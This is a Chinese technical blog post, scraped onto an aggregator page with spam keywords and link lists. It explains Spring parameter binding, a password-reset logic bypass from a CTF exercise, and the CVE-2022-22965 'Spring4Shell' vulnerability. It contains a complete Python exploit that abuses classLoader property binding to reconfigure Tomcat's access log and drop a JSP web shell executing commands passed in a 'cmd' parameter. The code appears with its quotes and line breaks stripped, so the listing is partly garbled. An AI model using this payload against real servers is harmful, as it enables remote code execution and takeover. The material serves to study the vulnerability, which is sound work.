当前位置: 首页 > news >正文

像聚美网站建设费用网页设计教程读后感

像聚美网站建设费用,网页设计教程读后感,制作网站的视频教程,重庆所有做网站的公司排名前言 在介绍这个漏洞前#xff0c;介绍下在spring下的参数绑定 在Spring框架中#xff0c;参数绑定是一种常见的操作#xff0c;用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例#xff0c;展示了如何在Spring中进行参数绑定#xff1a; 示例1介绍下在spring下的参数绑定 在Spring框架中参数绑定是一种常见的操作用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例展示了如何在Spring中进行参数绑定 示例1 Controller RequestMapping(/user) public class UserController {GetMapping(/{id})public String getUserById(PathVariable(id) int userId, Model model) {// 根据userId查询用户信息并返回User user userService.getUserById(userId);model.addAttribute(user, user);return user;}PostMapping(/add)public String addUser(RequestParam(name) String name, RequestParam(age) int age, Model model) {// 创建新用户并保存到数据库User newUser new User(name, age);userService.addUser(newUser);model.addAttribute(user, newUser);return user;} } 上述示例中我们使用了PathVariable和RequestParam注解来进行参数绑定 PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中我们将URL中的id作为参数绑定到userId上。 RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中我们将请求参数name和age分别绑定到name和age上。 通过这种方式Spring框架能够自动将请求参数的值绑定到Controller方法的参数上简化了参数处理的过程。 示例2 在Spring框架中除了绑定基本类型的参数外我们也经常需要绑定对象作为方法的参数。下面是一个示例展示了如何在Spring中进行对象的参数绑定 假设有一个名为User的JavaBean类 javaCopy Codepublic class User {private String name;private int age;// 省略构造函数、getter和setter } 然后在Controller中我们可以将User对象作为方法的参数进行绑定 javaCopy CodeController RequestMapping(/user) public class UserController {PostMapping(/add)public String addUser(ModelAttribute User user, Model model) {// 通过ModelAttribute注解将HTTP请求参数绑定到User对象userService.addUser(user);model.addAttribute(user, user);return user;} } 我们使用了ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配并进行对象的参数绑定。 当客户端发送一个包含name和age参数的POST请求时Spring框架将自动创建一个User对象并将请求参数的值绑定到User对象的对应属性上。 这种方式能够方便地处理复杂的对象绑定工作使得我们在Controller中可以直接操作领域对象而无需手动解析和绑定参数。 参数绑定漏洞 参数绑定这个机制使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理那么就非常可能导致某种逻辑漏洞绕过漏洞。 看如下的代码 Controller SessionAttributes({user}) public class ResetPasswordController {private static final Logger logger LoggerFactory.getLogger(ResetPasswordController.class);Autowiredprivate UserService userService;public ResetPasswordController() {}RequestMapping(value {/reset},method {RequestMethod.GET})public String resetViewHandler() {logger.info(Welcome reset ! );return reset;}RequestMapping(value {/reset},method {RequestMethod.POST})public String resetHandler(RequestParam String username, Model model) {logger.info(Checking username username);User user this.userService.findByName(username);if (user null) {logger.info(there is no user with name username);model.addAttribute(error, Username is not found);return reset;} else {model.addAttribute(user, user);return redirect:resetQuestion;}}RequestMapping(value {/resetQuestion},method {RequestMethod.GET})public String resetViewQuestionHandler(ModelAttribute User user) {logger.info(Welcome resetQuestion ! user);return resetQuestion;}RequestMapping(value {/resetQuestion},method {RequestMethod.POST})public String resetQuestionHandler(RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info(Checking resetQuestion ! answerReset for user);if (!user.getAnswer().equals(answerReset)) {logger.info(Answer in db user.getAnswer() Answer answerReset);model.addAttribute(error, Incorrect answer);return resetQuestion;} else {status.setComplete();String newPassword GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute(message, Your new password is newPassword);return success;}}} 由于有了参数绑定这个机制user对象是我们用户可控的可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证那么我们可以尝试利用参数绑定的机制参数设为answerhelloanswerResethello使得equals成功从而绕过验证。 参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客 war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016 CVE-2022-22965 受影响范围 Spring Framework 5.3.18 Spring Framework 5.2.20 JDK ≥ 9 不受影响版本 Spring Framework 5.3.18 Spring Framework 5.2.20 JDK 9 与Tomcat版本有关 注jdk版本的不同可能导致漏洞利用成功与否 思考参数绑定可以给对应对象的属性赋值有没有一种可能可以给其他的对象赋值 为了实现这种可能先了解下参数绑定的底层机制 由于java语言复杂的对象继承关系参数绑定也有多级参数绑定的机制。如contry.province.city.districtyuelu 其内部的调用链也应是 Contry.getProvince()         Province.getCity()                 City.getDistrict()                         District.setDistrictName() Spring自带 BeanWrapperlmpl------Spring容器中管理的对象自动调用get/set方法 BeanWrapperlmpl是对PropertyDescriptor的进一步封装 我们都知道在Java中所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类它定义了一些通用的方法因此这些方法可以在任何对象上调用。 getClass(): 返回对象所属的类。 是否可以通过class对象跳转到其他对象上。 在spring是世界中一切都是javabean就连输出的log日志也是一个javabean如果我们能够修改这个javabean就意味着输出的log后缀名可控其内容也可控。那好我们直接改成jsp马的形式 漏洞搭建复现 我们使用maven工具加入spring boot模拟一个参数绑定的Controller生成war包放入tomcat中 参考文章Spring 远程命令执行漏洞CVE-2022-22965原理分析和思考 (seebug.org) 附上poc import requests import argparse from urllib.parse import urlparse import time# Set to bypass errors if the target site has SSL issues requests.packages.urllib3.disable_warnings()post_headers {Content-Type: application/x-www-form-urlencoded }get_headers {prefix: %,suffix: %//,# This may seem strange, but this seems to be needed to bypass some check that looks for Runtime in the log_patternc: Runtime, }def run_exploit(url, directory, filename):log_pattern class.module.classLoader.resources.context.parent.pipeline.first.pattern%25%7Bprefix%7Di%20 \fjava.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter \f(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B \f%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Dilog_file_suffix class.module.classLoader.resources.context.parent.pipeline.first.suffix.jsplog_file_dir fclass.module.classLoader.resources.context.parent.pipeline.first.directory{directory}log_file_prefix fclass.module.classLoader.resources.context.parent.pipeline.first.prefix{filename}log_file_date_format class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormatexp_data .join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat_print([*] Resetting Log Variables.)ret requests.post(url, headerspost_headers, datafile_date_data, verifyFalse)print([*] Response code: %d % ret.status_code)# Change the tomcat log location variablesprint([*] Modifying Log Configurations)ret requests.post(url, headerspost_headers, dataexp_data, verifyFalse)print([*] Response code: %d % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret requests.get(url, headersget_headers, verifyFalse)print([*] Response Code: %d % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data class.module.classLoader.resources.context.parent.pipeline.first.patternprint([*] Resetting Log Variables.)ret requests.post(url, headerspost_headers, datapattern_data, verifyFalse)print([*] Response code: %d % ret.status_code)def main():parser argparse.ArgumentParser(descriptionSpring Core RCE)parser.add_argument(--url, helptarget url, requiredTrue)parser.add_argument(--file, helpFile to write to [no extension], requiredFalse, defaultbak)parser.add_argument(--dir, helpDirectory to write to. Suggest using webapps/[appname] of target app,requiredFalse, defaultwebapps/ROOT)file_arg parser.parse_args().filedir_arg parser.parse_args().dirurl_arg parser.parse_args().urlfilename file_arg.replace(.jsp, )if url_arg is None:print(Must pass an option for --url)returntry:run_exploit(url_arg, dir_arg, filename)print([] Exploit completed)print([] Check your target for a shell)print([] File: filename .jsp)if dir_arg:location urlparse(url_arg).scheme :// urlparse(url_arg).netloc / filename .jspelse:location fUnknown. Custom directory used. (try app/{filename}.jsp?cmdwhoamiprint(f[] Shell should be at: {location}?cmdwhoami)except Exception as e:print(e)if __name__ __main__:main() 注意这个poc的逻辑 先向log文件中打入马的形式其部分关键语段用占位符代替这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上这时一个jsp就此形成 访问马 漏洞调试分析 给参数绑定的入函数打上断点 瞅见了我们传入的参数了吧 第一次循环这一次this还在User中包装对象 第二次循环跳出user对象了 有兴趣的同学可调试进入分析一哈具体的代码逻辑为什么跳到了class对象以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底所以这里也不在深究了.....
http://www.dnsts.com.cn/news/21224.html

相关文章:

  • 网站开发的要注意基本原则深圳网站建设seo优化
  • 江阴做网站公司短视频app开发有哪些公司
  • 海南网站定制网站建设高端网页设计
  • 做实验流程图的网站百度手机助手app
  • 青州网站设计公司企业如何开展网络营销
  • 电子商务网站建设步网站展示重点
  • 展示型网站可以优化吗公司logo设计欣赏
  • 4399网站开发人员 被挖走做a视频网站
  • 一个好的网站建设需要多少钱济南建设网站需要
  • ps网站交互设计织梦dedecms绿色led照明公司企业网站模板 下载
  • 有域名怎么建立网站建设外围彩票网站
  • 苏州网站优化维护做网站自动上传文章
  • 服务器两个域名一个ip做两个网站php wordpress joom
  • 腾讯云网站托管网站建设方案模版
  • 杭州免费网站建站模板深圳seo网络公司
  • wordpress扒站教程wordpress关于我们插件
  • angular做的网站大全做刷题网站赚钱么
  • 北京 科技网站建设单位网站建设费算无形资产吗
  • 网站便民服务平台怎么做注册服务器网站哪个好
  • 淘宝做店招的网站如何注册域名赚钱
  • app网站建设费用烟台网站制作建设
  • 怎么样建立自己的网站2022中文无字幕入口网站
  • 南京网站搜索优化外国设计师素材网站
  • 番禺做网站房产信息网二手房
  • 世界杯网站建设黑马程序员培训机构官网
  • wordpress网站新闻医院网站建设方案大全
  • 网站建设参考文献英文书籍南通高端网站建设机构
  • 百度是什么网站宁波模版建站公司
  • 1m带宽可以建设电商网站吗wordpress保存502
  • 能从源代码黑进网站修改数据吗山东网站建设和游戏开发的公司排名